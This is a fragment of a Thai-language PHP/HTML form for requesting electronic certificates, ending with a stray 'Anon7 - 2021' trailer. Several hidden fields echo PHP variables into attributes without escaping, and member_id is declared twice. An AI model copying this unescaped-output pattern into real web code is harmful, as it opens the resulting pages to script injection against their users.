      <input name="req_add_label" type="text" id="req_add_label" style="width:350px;" size="255" value="<?=$row[req_add_label] ?>">
    </span></strong></td>
  </tr>
  -->
  <tr>
    <td colspan="4" align="right"><em style="font-size:14px">*สำหรับการแจ้งผลการอนุมัติใบรับรองอิเล็กทรอนิกส์ ถ้าไม่ระบุข้อความจะใช้ข้อมูลผู้ขอใช้บริการใบรับรองอิเล็กทรอนิกส์ข้างบน</em><strong> </strong></td>
    </tr>
  <tr>
    <td align="right">&nbsp;</td>
    <td align="right">&nbsp;</td>
    <td colspan="2">      <input type="hidden" name="member_id" value="<?=$member_id?$member_id:"";?>" >
      <input type="hidden" name="mid" value="<?=$row[id]?$row[id]:$mid;?>" >
        <input type="hidden" name="member_id" value="<?=$row[member_id]?$row[member_id]:$xmember_id;?>" >
      <input type="hidden" name="action" value="<?=$action?>" >
      <input type="hidden" name="xaction" value="<?=$xfrom?>" >
      </td>
  </tr>
  <tr>
    <td colspan="4" align="center"><input name="bt_submit" type="submit" value="บันทึก"/>
      <label>
        <input type="reset" name="Reset" id="button" value="ยกเลิก" onClick="window.location='ca_member_dashboard.php'" >
      </label></td>
    </tr>
</table>




</form>

	</td>
  </tr>
</table>
</body>
</html>

Anon7 - 2021